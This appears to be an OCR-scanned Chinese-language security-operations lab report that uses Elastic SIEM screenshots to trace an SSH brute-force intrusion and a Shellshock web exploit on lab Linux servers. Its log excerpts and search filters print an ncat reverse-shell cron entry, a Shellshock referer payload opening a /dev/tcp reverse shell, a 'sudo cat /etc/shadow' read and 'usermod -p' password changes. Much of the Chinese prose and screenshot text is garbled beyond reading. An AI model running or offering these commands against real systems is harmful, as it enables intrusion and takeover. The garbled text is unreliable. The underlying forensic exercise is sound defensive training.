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Labl

Phase 1 : Brute force investigation

£ Security INBEFRRIMAERIRARU ssh BROMBNBSHHRRE > FUEBFIHLE
HRSHRHEMAETTIHERE

& elastic C
= . Security Alerts ML job :
Search
%  Security By Searc

Linux - Possible SSH brute-force attack

Overview Threatintel J Table JSON

®  +Addfilter

Overview
Count Stackby  signal.rule.name v Tren Rreason
Detect
event created high alert Linux - Possible SSH brute-force attack.
Alerts signal.rule.name Count 2 Vi Rule detail
iew Rule detail page
Rules L pag
. Linux - Possible SSH ke
Exceptions 3 14
brute-force attack 12
i Document Summary
Explore 08
06 Status Open
Hosts 04
02 Timestamp Apr 4,2025 @ 21:55:15.607
Network 0
Rule Linux - Possible SSH brute-force attack
04-04
Investigate Severity high
Timelines Risk Score 73
3alerts [ Fields := Columns ¢ 1field sorted Full screen
Cases R N Threshold Count 19
Actions L @timestamp ~ Rule
Manage I Apr 4, 2025 @ 21:55:15.607  Linux - Possible SsH  29enthostname [threshold] appsvo6
Endpoints 7 SEE. Apr 4, 2025 @ 21:55:15.606 Linux - Possible SSH
Trusted applications S 2 oas Apr 4,2025 @ 21:53:12.353  Linux - Possible SSH

HEIZ auditd.log EITIHE > EIHA ssh HZ XL invalid B9 username EITE:R
BA -

FULEZE NERBENWBEBH IR RIBIEENE - ANIEAIEZBERIRE > A0
M EHERIRBHPMLIRSE IR AR INE AR -

e event.dataset: auditd.log

e user.name: (invalid user)

B v Search KaL v Phase1

® | event.dataset: auditd.log X | user.name: (invalid user) x [+ Add filter

logs-* we= <= 47 hits \
QQ Search field names j
3

Filter by type 0 v 2 I I
1
0

Vv Selected fields 2 21:50:00 2151:00 21:52:00 21:53:00 21:54:00 21:55:00 21:56:00 21:57:00
. Apr 4, 2025 @ 21:50:00.000 - Apr 4, 2025 @ 22:00:00.000

@ host.ip

B source.ip Time v host.ip

LTINS 5 > Apr 4, 2025 @ 21:54:37.707 192.168.211.67, fe80::250:56ff:fe95:744f

Popular v Apr 4, 2025 @ 21:54:35.819 192.168.211.67, fe80::250:56f:fe95:744f

t agent.name



BT ssh BNWRBH 2% > FEE—SREISTRNBMRMIN - UURHILSHERE
SRR IEF B AR -
FEFPIER event.action: logged-in ZRAOMTHILEIRSRELRINEA

e event.dataset: auditd.log

e event.action: logged-in

= . Discover v/ Options New Open Share Inspect [2) Save

B v Search KQL v Phase1 Show dates C Refresh

® | eventdataset: auditd.log X | event.action: logged-in x || + Add filter

logs-* sen = B7 hits 3 Chart options
QU Search field names 8
6
) 4
Filter by type 0 v
: |
o EEEE i
@ host.ip 21:50:00 21:51: 21:52:00 21:53:00 21:54:00 21:55:00 21:56:00 21:57:00 21:58:00 21:59:00
. Apr 4, 2025 @ 21:50:00.000 - Apr 4, 2025 @ 22:00:00.000
@ source.ip
t user.name Time v host.ip source.ip user.name
: N >  Apr 4, 2025 @ 21§54:46.315 192.168.211.67, feB808::250:56ff:fe95:744f 192.168.211.69 ellen
\/ Available fields 84
Popular > Apr 4, 2025 @ 21:9§:42.883 192.168.211.67, feB808::250:56ff:fe95:744f 192.168.211.69 ellen
t agent.name
¢ > Apr 4, 2025 @|21:54:4BA119I 192A168A211.6_7‘_fw_ - y 19, A|08.211’!9 ellen
t event.action

> Apr 4, 2025 @ 21:54:37.707 192.168.211.67, fe80::250:56ff:fe95:744f 192.168.211.69 (invalid user)
t event.category

t event.outcome > Apr 4, 2025 @ 21:54:35.819 192.168.211.67, fe88::250:56ff:fe95:744f 192.168.211.69 (invalid user)

BRFPEIAERITE 21:54:40 £F > REERBZEARFRNHERRE > RKREB
ellen BRSERLINEA

Phase 2 : Crontab persistence

REUERENEEEANSEBRM T MLESEE > AIASEIE auditd. log.data FOER
T ellen BRSRFTIGHERZFTH reverse shell BISMT » FHEBZBRBEERNEES
TR > 8

1. FIEHEFEE] /home/ellen/ [EF

crontab -r EH#EMIFRBRHERERIPMAHIRZERS
. ¥18 reverse shell ZIHEf2e

crontab HITHFE

. I1EMIFRHERE

e event.dataset: auditd.log

e auditd.log.data: touch /home/ellen/mycron ; crontab -r ; echo "x x x
* x /usr/bin/ncat -e /bin/bash 192.,168.211.69 9999" >
/home/ellen/mycron ; crontab /home/ellen/mycron ; rm

/home/ellen/mycron”™Jexit”]



= . Discover v/ Options New Open Share Inspect [2) save

B v Search KQL v~ Phase 2 Show dates C Refresh

@ event.dataset: auditd.log X

auditd.log.data: touch /home/ellen/mycron ; crontab -r ; echo "* * * * * Jusr/bin/ncat -e /bin/bash 192.168.211.69 9999" > /ho 1/mycron ; crontab /h /my. ; rm /home/s /mycr... X

+ Add filter
logs-* son = 1 hit 3 Chart options

Q Search field names

08
06
Filter by type 0 v 04
0.2
. 0
Vv Selected fields 3 22:00:00  22:01:00  22:02:00  22:03:00 22:05:00  22:06:00  22:07:00  22:08:00  22:09:00  22:10:00  22:11:00
® host Apr 4, 2085 @ 22:00:00.000 - Apr 4, 2025 @ 22:12:00.000
ost.ip
t agent.name appsrvee
@ source.ip X
t agent.type filebeat
t user.name
t agent.version 7.14.1
\ Available fields 101
t auditd.log.data touch /home/ellen/mycron ; crontab -r ; echo "x * x % % /us
Popular r/bin/ncat -e /bin/bash 192.168.211.69 9999" > /home/ellen/my
t agent.name cron ; crontab /home/ellen/mycron ; rm /home/ellen/mycron*Jex
) itAJ
t auditd.log.data

Phase 3 : change root password
RBEIRNEEEGEN root BIELMERERER -

1. sudo cat /etc/shadow EXEEFRAEZS hash
2. usermod -p FEITIEINZRNS » RIFAIES openss| #HiFBEBIFE

e NOT event.dataset: elastic_agent
e event.dataset: auditd.log

e auditd.log.data: usermod -p openssl passwd -5 w00t root~Jexit”]

[B) -~ Search KQL v~ Phase 3 Show dates G Refre

@ NOT event.dataset: elastic_agent x I event.dataset: auditd.log x I| auditd.log.data: sudo cat /etc/shadow 192.168.211.69 9999*Jexit"J X I + Add filter

logs-* v soe ¢= 1 hit €3 Chart options
" 1
Q audit o8
06
Filter by type 0 v 0.4
0.2
(S [, 0
22:12:00 22:13:00 22:14:00 15:00 22:16:00 22:17:00 22:18:00 2219:00  22:20:00  22:21:00
Popular Apr 32025 @ 22:12:00.000 - Apr 4, 2025 @ 22:22:00.000

t auditd.log.data

Time v Doc nt
t auditd.log.a0
, > Apr 4, 2025 @ 22:13:50.139 I auditd.log.data: sudo cat /etc/shadow 192.168.211.69 9999"Jexit"JI

t auditd.log.al

@timestamp: Apr 4, 20825 @ 22:13:50.139 agent.ephemeral_id: 9027fbed-4373-
t auditd.log.a2

4ac6-a2bb-7ff36679e43c agent.hostname: appsrv@6 agent.id: 7bd662d3-ca4f-
t auditd.log.a3 4534-a9e5-85e7d219bcec agent.name: appsrve6 agent.type: filebeat
t auditd.log.arch agent.version: 7.14.1 auditd.log.major: 136 auditd.log.minor: @

auditd.log.grantors

auditd.log.hostname



[ v Search KQL v Phase 3 Show dates C Refresh

&  NOT event.dataset: elastic_agent X l event.dataset: auditd.log X I auditd.log.data: usermod -p “openssl passwd -5 w00t root*Jexit™J X I + Add filter

logs-* v sos ¢ 1 hijt £3 Chart options
o 1
QU audit (<] s
06
Filter by type 0 v 04
0.2
; . 0
N gAvailableificids m 22:12:00 22:13:00 22700 22:15:00 22:16:00 22:17:00 22:18:00 22:19:00 22:20:00 22:21:00
Popular Apr 4, 2025 @ 22:12:00.000 - Apr 4, 2025 @ 22:22:00.000
t auditd.log.data Time Document
itd.log.a0 14
) auditalog.a v Apr 4, 20625 @ 22:14:38.983 I auditd.log.data: usermod -p “openssl passwd -5 w@@t" root*JexitrJ I@timestamp: Apr
t auditd.log.at 4, 2025 @ 22:14:38.983 agent.ephemeral_id: 9027fbed-4373-4ac6-a2bb-7ff36679e43c
t auditd.log.a2 agent.hostname: appsrve6 agent.id: 7bd602d3-ca4f-4534-a9e5-85e7d219bcec
¢ auditd.log.a3 agent.name: appsrv@6 agent.type: filebeat agent.version: 7.14.1
auditd.log.major: 136 auditd.log.minor: © auditd.log.record_type: TTY
t auditd.log.arch
t auditd.log.grantors
5 Expanded document View surrounding documents  View single document
t auditd.log.hostname
Table JSON

auditd.log.id



Lab2

Phase 1 : #Jia5hfERE
1. Index #E#E logs—x
2. Time Range i%3Z Phase 1 FF[EIER
3. KQL Query A : event.module: apache Wi¥EIEDAT fields :
N TET A&
@timestamp EHBEARFE
host.hostname R Ry
source.ip KR IP (IREE)
url.original #AKEY URL B&1E
http.response.status_code HTTP [E]fEfRS (200/404%)
http.request.method HTTP %% (GET/POST)
user_agent.original BB/ THHEFS

http.response.body.bytes Gl &R/ (bytes)

EREEERELKNERPEERE—F source.ip & 192.168.52.69 HJlog e

& elastic o &0

= . Discover ./ Options New Open Share Inspect [ save

B v Even!.moduie: apache KQL v~ Phase1 Show dates C Refresh
i

®  +Add filter

logs-* v eee <= 26 hits @ Chart options

Q Search field names

2
15
‘
o -y ]
:

V Selected fields 9 22:40:00 22:41:00 22:42:00 22:43:00 22:44:00 22:45:00 22:46:00 22:47:00 22:48:00 22:49:00 22:50:00 22:51:00 22:52:00
Apr 16, 2025 @ 22:40:00.246 - Apr 16, 2025 @ 22:52:30.246
B @timestamp
APl usu T eiTuLveiuUY  ApE Tus CUEU T 6 upper YUY [P Jeviver stutusiu  rssiver suius  cuv
MERED 2:43:32.000 uto=
@ source.ip > Apr 16, 2625 @ 22:43:02.000 Apr 16, 2625 @ 2 appsrves 127.0.0.1 /server-status?a /server-status 260
#) urloriginal 2:43:02.000 uto=
t url.path > Apr 16, 2025 @ 22:42:32.000 Apr 16, 2625 © 2 appsrves 127.0.0.1 /server-status?a  /server-status 208
2:42:32.000 uto=
# http.response.status_code
t http.request.method > Apr 16, 2025 @ 22:42:02.000 Apr 16, 2625 @ 2 appsrves 127.0.0.1 /server-status?a  /server-status 200
2:42:02.000 uto=
t user_agent.original
# http.response.body.bytes > Apr 16, 2025 @ 22:41:32.608 Apr 16, 2025 @ 2 appsrves 127.6.8.1 /server-status?a  /server-status 200
2:41:32.000 uto=
\ Available fields 163
> Apr 16, 2025 @ 22:41:07% 2025 @ 2 appsrves 127.0.0.1 /server-status?a /server-status 260
t _id 2:41:02. uto=
t _index
> Apr 16, 2625 @ 22:41:00.008 Apr 16, 2625 @ 2 appsrves 192.168.52.69 / / 200
# _score 2:41:00.000
t type > Apr 16, 2025 @ 22:40:32.808 Apr 16, 2825 @ 2  appsrves 127.6.8.1 /server-status?a /server-status 200
t agent.ephemeral_id 2:40:32.000 uto=
t agenthostname > Apr 16, 2625 @ 22:48:02.000 Apr 16, 2625 @ 2 appsrves 127.0.0.1 /server-status?a /server-status 260
2:40:02.000 uto=

agentid

t agentname

agent.tvpe



BhFIEZ
attackero3
& elastic

[§) v event.module: apache

Discover

@ +Add filter

logs-* v

QU Search field names

Filter by type 0
v Selected fields

£ @timestamp

t host.name

@ source.ip

t url.original

t urlpath

# http.response.status_code
t http.request.method

t user_agent.original

# http.response.body.bytes

\ Available fields

t _id

t _index

# _score

t _type

t agent.ephemeral_id
t agenthostname

t agent.id

t agent.name

t agent.tvoe

o

eon ¢= 26 hits

log AEMNFIREEEFHENEGE

EXIREZZE log

Options New Open Share Inspect

KaL  fE v Phase1

BA~ user_agent.original &

[ save

Show dates C Refresh

83 Chart options

~
05
9

22 40:00

22:41:00

22:43:00

# http.response.status_code
t http.version

t input.type

t log.file.path

# log.offset

22:44:00

22:45:00

22:46:00 22:47:00 22:48:00

Apr 16, 2025 @ 22:40:00.246 - Apr 16, 2025 @ 22:52:30.246

200
1.1

log

22:49:00 22:50:00

/var/log/apache2/access.1log

1,008

t source.address

@ source.ip

192.168.52.69

192.168.52.69

163

t tags

t url.original

t url.path

t user_agent.device.name

t user_agent.name

apache-access,
/

/

other

Other

_geoip_expired_database

t user_agent.original

attackere3

t user.name

22:51:00 22:52:00

ERBEAZIEEN user_agent FUAUHLHIETHINEER ip DAK user_agent
BRZEA Phase? BAEREE ZWARARRLFIA -

Phase 2 : Shellshock I{Z (CGI £ + payload ¥ A)

7£ phasel B9M&4 7 KQL Query BIIEM £ source.ip:192.168.52.69 #EILE

REHRBENT

BRHEAS SRV BT R EMEFE
» BHEIRRE—

R#Z 404
FRIh g 2%

(BEAEFE)

AW B TE fields 1L http.request.referrer M o

WBEEAEEARMN COl B’IE

HUF& A |\|:|

REH /cgi-bin/index.cgi HXi§ 200 7



@ elastic ‘ o 2O

= . Discover Options New Open Share Inspect [ save

2 v [event.module: apache and source.ip:192.168.52.69 | KaL v Phase 2 Show dates G Refresh

®  +Add filter
logs-* v oo €= hits 3 Chart options
i 5
QU ksearch field names .
Filter by type 0 v 2 I
1
. 0o
V' Selected fields 10 22:53:00 22:54:00 22:55:00 22:56:00 22:57:00 22:58:00 22:59:00 23:00:00 23:01:00 23:02:00 23:03:00
: Apr 16, 2025 @ 22:52:30.246 - Apr 16, 2025 @ 23:03:30.246
B @timestamp
2:54:27.000 webpage..cgi Ltwebpage.cgi
t host.name
@ source.ip
¢ url.original > Apr 16, 2025 @ 22:54:28.000 Apr 16, 2025 @ 2 appsrves 192.168.52.69 /cgi-mod/index.c  /cgi-mod/inde 484
B urlpath 2:54:28.000 gi x.cgi
# http.response.status_code
t) http.request.method > Apr 16, 2025 @ 22:54:29.800 Apr 16, 2025 @ 2 appsrves 192.168.52.69 Jcgi-bin/test.cg /cgi-bin/test. 404
t  user_agent.original 2:54:29.000 1 cgl
# http.response.body.bytes
http.1 t.ref I
I t) hitp.request.retarrer X > Apr 16, 2625 @ 22:54:29.815 Apr 16, 2625 @ 2 appsrves 192.168.52.69 - - -
2:54:29.815
\ Available fields 167
P)id > Apr 16, 2025 © 22:54:30.000 Apr 16, 2025 @ 2 appsrve5 192.168.52.69  /cgi-bin-sdb/pri  /cgi-bin-sdb/p 404
2:54:30.000 ntenv rintenv
t _index
# _score
t _type > Apr 16, 2025 © 22:54:31.000 Apr 16, 2025 @ 2 appsrve5 192.168.52.69  /cgi-bin/index.c /cgi-bin/inde 200
2:54:31.000 gi x.cgi
t agent.ephemeral_id

agent.hostname

agent.d

agent.name

MmiEf& log FEBE KQL Query U E N E http.request.referrer field AIATE
http.request.referrer ¥{iIFZF] http.request.referrer: () { :;};
/bin/bash —-c /bin/bash -i >& /dev/tcp/192.168.52.69/4444 0>&1 &

thmiZ shellshock payload &ifl » ELbE—FERIREEFIA shellshock IRE R E
1I Reverse Shell o

B v~ Search KQL v Phase 2 Show dates C Refresh

@ I event.module: apache x II http.request.referrer: () { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/192.168.52.69/4444 0>&1 & X I + Add filter

logs-* ooo <= @ hits €3 Chart options
QU Search field nafhes N
3
) 2
Filter by type 0 ~ . I
) 0
v Selected fields 5 22:53:00  22:54:00  22:55:00  22:56:00  22:57:00  22:58:00  22:59:00  23:00:00  23:01:00  23:02:00  23:03:00
. Apr 16, 2025 @ 22:52:30.246 - Apr 16, 2025 @ 23:03:30.246
t url.original
t url.path url.original url.path message log.file.path http.request.referrer
t message @ 22:54:31.000 /cgi-bin/inde /cgi-bin/inde - /var/log/apac ® ©f () { :;}; /bin/bash -c
. XuSai x.cgi access. log /bin/bash -i >& /dev/t
t logfile.path cp/192.168.52.69/4444
t http.request.referrer X —> E2&iRS
« Available fields 63 @ 22:54:30.000 /cgi-bin-sdb/p /cgi-bin-sdb/p - /var/log/apache2/ | () { :;}; /bin/bash -c
rintenv rintenv access.log /bin/bash -i >& /dev/t
Popular cp/192.168.52.69/4444
0>8&1 &
t event.dataset

Phase 3 : Aithig&F9i211 (SSH session + ZHFEER)

Shellshock FlIFH1&R] shell E4REIFEIT

E{4FFf : Phase 3
KQL 38j% : event.module:auditd AND host.hostname:appsrv@5

WTAEEEN fields > AEBEFETRIBFRBAARAZE



EVEZE A&

@timestamp EH LR
host.hostname EAE 278
user.name HITHESNERERM
process.name HATHORE 2718
process.executable  HITREFHTERE
event.action FEHENFEE

auditd.log.syscall auditd RARIEIUZFE | 4RER

) &
VA

RERNBI=EBAIAEER appsrves LA SSH 2B RIEM B IEA -
WEETR T‘}ir‘j shell BEX{S T SSH ATFRRIIRSRZZMS (2 SSH key) » RAERBEMN
SSH BEEITRIEIRE -

= . Discover Options New Open Share Inspect [E) save

Bv Ievem :auditd AND host.hostr g vOSI KoL  f§ v Phase3 Show dates G Refresh

@ +Add filter

rml—

logs-* v oss hits 3 Chart options

QU Search field names

Filter by type 0

25
2
0
Selected fields 8 23:04:00 23:05:00 23:06:00 23:07:00 23:08:00 23:09:00 23:10:00 3:11:00 23:12:00 23:13:00 23:14:00 23:15:00
Apr 16, 2025 @ 23:03:30.246 - Apr 16, 2025 @ 23:15:30.246
& @timestamp

B hostname @timestamp host.name process.name user.name auditd.log.data event.action process.executable auditd.log

t process.name Apr 16, 2025 @ 2 appsrve5 - root - authenticated /usr/sbin/sshd
3:05:14.496

t username

t auditd.log.data Apr 16, 2025 @ 2 appsrves - root - was-au thorize d /usr/sbin/sshd
3:05:14.500

t event.action

¢ process.executable Apr 16, 2025 @ 2 appsrves - root - acquired-credenti  /usr/sbin/sshd
3:05:14.504 als

¢ auditd.log.syscall
Apr 16, 2025 @ 2 appsrves - - - changed-login-id-

v Available fields 84 3:05:14.504 to

Popular Apr 16, 2025 @ 2 appsrve5 - - - proctitle

# process.pid 3:05:14.504

@ sourceip
Apr 16, 2025 @ 2 appsrves systend - - started-service /usr/1ib/systemd/system
3:05:14.564

t _id

t _index Apr 16, 2025 @ 2 appsrves - root - was-authorized /usr/1ib/systemd/system
3:05:14.572 d

# _score

t _type Apr 16, 2025 @ 2 appsrves - root - acquired-credenti  /usr/lib/systemd/system
3:05:14.572 als d

t agent.ephemeral_id

B agenthostname Apr 16, 2025 @ 2 appsrves - - - changed-login-id-
3:05:14.572 to

PAM #&4H LOAD/UNLOAD (4F1ER(E)

£ Apr 16, 2025 @ 23:05:14.596 BSfEBAAILAFRILIR 4 £ unknown[1334]
4 > auditd.log.op iC#% 7 LOAD F1 UNLOAD i2fF - ¥FEZRAE AN ENE PAM 2
B4 (W0 pam_unix.so - pam_systemd.so ) HJITA o



&7 SSH B ERERRARHIEREEEN(F - BRIEREARIZ SSH RERETEMS -
A% THREATE SSH EARERE) AUEE > MIFEMLN cron FARMARTEE
B

O elastic o & 0O

= . Discover +/ Options New Open Share Inspect [ save

[5) v event :auditd AND host.hostr X v05 KQL ] v Phase 3

Show dates C Refresh

I

@+ Add filter

logs-* sea <= 35 hits 3 Chart options
QU Search field names 5
25
20
Filter by type 0 v I
5
) 0
\/ Selected fields 9 23:04:00 23:05:00 23:06:00 23:07:00 23:08:00 23:09:00 23:10:00 23:11:00 23:12:00 23:13:00 23:14:00 23:15:00
: Apr 16, 2025 @ 23:03:30.246 - Apr 16, 2025 @ 23:15:30.246
& @timestamp
Apr 16, 2025 @ 2 appsrve5 - - - proctitle
t host.name 3:05:14.572
t process.name
Apr 16, 2025 @ 2 appsrve5 - root - started-session Jusr/1ib/systemd/system  PAM:sessi
t username 3:05:14.572 d
t auditd.log.data 1
9 appsrves
t eventaction
t) process.executable Apr 16, 2025 @ 2 appsrves - - - proctitle
P auditd.Jog.op 3:05:14.596
t auditd.log.syscall Apr 16, 2025 @ 2 appsrves - - - unknown[1334] - UNLOAD
3:05:14.596
v Available fields 83
Apr 16, 2025 @ 2 appsrve5 - - - unknown([1334] - LOAD
Popular 3:05:14.596
# process.pid
’ Apr 16, 2025 @ 2 appsrve5 - - - proctitle
@) source.p 3:05:14.506
t _id
Apr 16, 2025 @ 2 appsrve5 - - - unknown([1334] - UNLOAD
t _index 3:05:14.596
# _score
Apr 16, 2025 @ 2 appsrve5 - root - authenticated Jusr/sbin/sshd PAM:authe
_type 3:05:14.640
t agent.ephemeral_id Apr 16, 2025 © 2 appsrves - root - was-authorized Jusr/sbin/sshd PAM:accou

M root session ZEIT I {E2X www-data i

£ Apr 16, 2025 @ 23:05:15.296 EfEFREIESAIEEI SSH session BE&LA root B
PRI -

E4#23 root session E11& » WEEH root HH#F web RFZIRIR www-data KIZEE
585 woot » AITENEMW -

E@E}JT’EE%TEE%R'E%FH’ www-data BEEHEEZHNRTFEIRSE - —B5R
TS > WBEMFEBLULMRSEN SSH siEMAEMEIRBEA » EIBRAN
Shellshock IQ%E%@ °



QO elastic ®
= . Discover Options New Open Share Inspect [©) save
[3) v event.modv itd AND host.hostr srv05 KQL ~ Phase 3 Show dates C Refresh

@+ Add filter

logs-* v s ¢= 35 hijts 3 Chart options
Q Search field names
0
Filter by type 0 v 5
0

v Selected fields 8

23:04:00 23:05:00 23:06:00 23:07:00 23:08:00 23:09:00 23:10:00 23:11:00 23:12:00 23:13:00 23:14:00 2311500

Apr 16, 2025 @ 23:03:30.246 - Apr 16, 2025 @ 23:15:30.246
© @timestamp

t host.name
:15.296 Apr 16, 2025 @ 2 appsrves - root - started-session Jusr/sbin/sshd
t process.name 3:05:15.206
t username
:15.296 Apr 16, 2025 @ 2 appsrves - root - started-session Jusr/sbin/sshd
t auditdlog.data 3:05:15.296
t event.action
:15.352 Apr 16, 2625 @ 2 appsrves . - - logged-in Jusr/sbin/sshd
t process.executable 3:05:15.352
itd.log. Il
[etHitiogievecs :15.356  Apr 16, 2025 @ 2 appsrve5 - root - refreshed-credent  /usr/sbin/sshd
3:05:15.356 ials
~ Available fields 84
popul :15.456  Apr 16, 2625 @ 2 appsrves - - - changed-password  /usr/sbin/usermod
opular 3:05:15.456
# process.pid
Ol :15.476 Apr 16, 2025 @ 2 appsrves bash - usermod -p ‘openssl  typed -
3:05:15.476 passwd -5 WeRt' www-
t _id datarJexitArJ
t _index :15.476 Apr 16, 2025 @ 2 appsrves bash - - syscall /home/offsec/bash-4.3/b 2
3:05:15.476 ash
# _score
t _type :15.476  Apr 16, 2025 @ 2 appsrves - - - proctitle -
3:05:15.476

t agent.ephemeral_id
t agenthostname

A NEBU MR RERZELBBIAS

e NOT event.dataset: elastic_agent

e NOT event.dataset: elastic_agent.metricbeat
e NOT event.dataset: elastic_agent.filebeat

e NOT event.dataset: system.syslog

e auditd.log.data: usermod -p openssl passwd -5 w@0t www—data~Jexit”]

[B) v Search KQL v Phase 3 Show dates C Refresh

@ NOT event.dataset: elastic_agent X = NOT event.dataset: elastic_agent.metricbeat X = NOT event.dataset: elastic_agent.filebeat X = NOT event.dataset: system.syslog X

auditd.log.data: usermod -p ‘openss| passwd -5 wOOt™ www-data®Jexit") X =+ Add filter

logs-* soo ¢<= 1 hijt €3 Chart options

QQ Search field names

08
06
Filter by type 0 v 0.4
02
. " 0
V' Available fields 227 23:04:00  23:05:00  23:06:00  23:0 23:08:00  23:09:00  23:10:00  23:11:00  23:12:00  23:13:00  23:14:00  23:15:00
Popular Apr 1688025 @ 23:03:30.246 - Apr 16, 2025 @ 23:15:30.246
t auditd.log.data
¢l Time + Document

t event.dataset

> Apr 16, 2625 @ 23:65:15.476 Iauditd.log.data: usermod -p ‘openssl passwd -5 we@t" www—data"Jexit"JI

http.request.referrer

@timestamp: Apr 16, 2025 @ 23:05:15.476 agent.ephemeral_id: eca804f0-e95d-4b4c-

t log ile.path b7dd-f@1c67fadb1b agent.hostname: appsrve5 agent.id: 4de827d2-e615-4433-9bfb-
t message 22a86b1f2eb® agent.name: appsrve@5 agent.type: filebeat agent.version: 7.14.1
t url.original auditd.log.major: 136 auditd.log.minor: @ auditd.log.record_type: TTY

t url.path

t _id
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W FRFN
#iB Lab1 B Lab2 MEISIRAREE » B BRI T MEHEER Linux AMREE
Lab1 : SMER/BREIREE 58

IQEQ%’“%“B%‘ SSH ARFSEZENZAMGIEE (password spraying) » BXIALA ellen
IRSEEAE » & crontab ZIIBEHIY RO shell FEAFACHEET] » &RE&LA
usermod H’v root ZISEINS woot THTEIEE -

Lab2 : Web FERRFAIREHE

WEEKIAIEHMT user-agent ( attackero3 ) T web A » EiBE CCl IBE
FRW R ATF MRS /cgi-bin/index.cgi » LA HTTP Referer header ;¥ A
Shellshock (CVE-2014-6271) payload #1Ix[6 shell - & 4&83EBIRHEHUS root
session » FFARFFIRIE www-data HIBIGENS weot - EIIFIEEF FHAVEPT
MAMEEX root % » [FEMRENREE

M{E Lab BY¥108

tbE&IE B Lab1 Lab2
I CUNEE S SSH &R Shellshock (web exploit)
WBEFIR IP 192.168.211.69 192.168.52.69
AZIRIR ellen www-data
BAIEA crontab HHE/R M shell  EXARFSIRSRZRES
RAREMAEN  root www-data
FEEBBRR auditd.log apache module + auditd.log
BRIE
FE@EBEXRN Lab BREFFEF > BESREFANENKEFEER > BAERA

IEQ#TE%%J: SOC o tEiaNEit /8 E Het PR INERE -

iz FBEINRE DR - FAEHEE ~ Web ERIRE ~ *éBETzEﬂ%MU’EEZT\EEE
PEEREER T ARV HARAEEREE (12 KQL & ~ event.action BF
- auditd.log.data [RIRIESERSE) -



BENEFEMERNTEMSEF[REANR - hBHMIE ELK SIEM BEBRDHT
TENERETERENERE - ZERFEBEMBGDERRE &K > K RAIRNSEL
%, RS EMLREH - WBE IP - ARIKRR - AITHAREEN - 8—FSH(1EAR
—ERBEARE > BB REAME -

RAEHEABRIENEHRENR - 5K Lab 15BN TGHREE > HEIEK P/
FAE > ERte<IIT > ERKREBEEE) BERE  SEFEERNERKE -



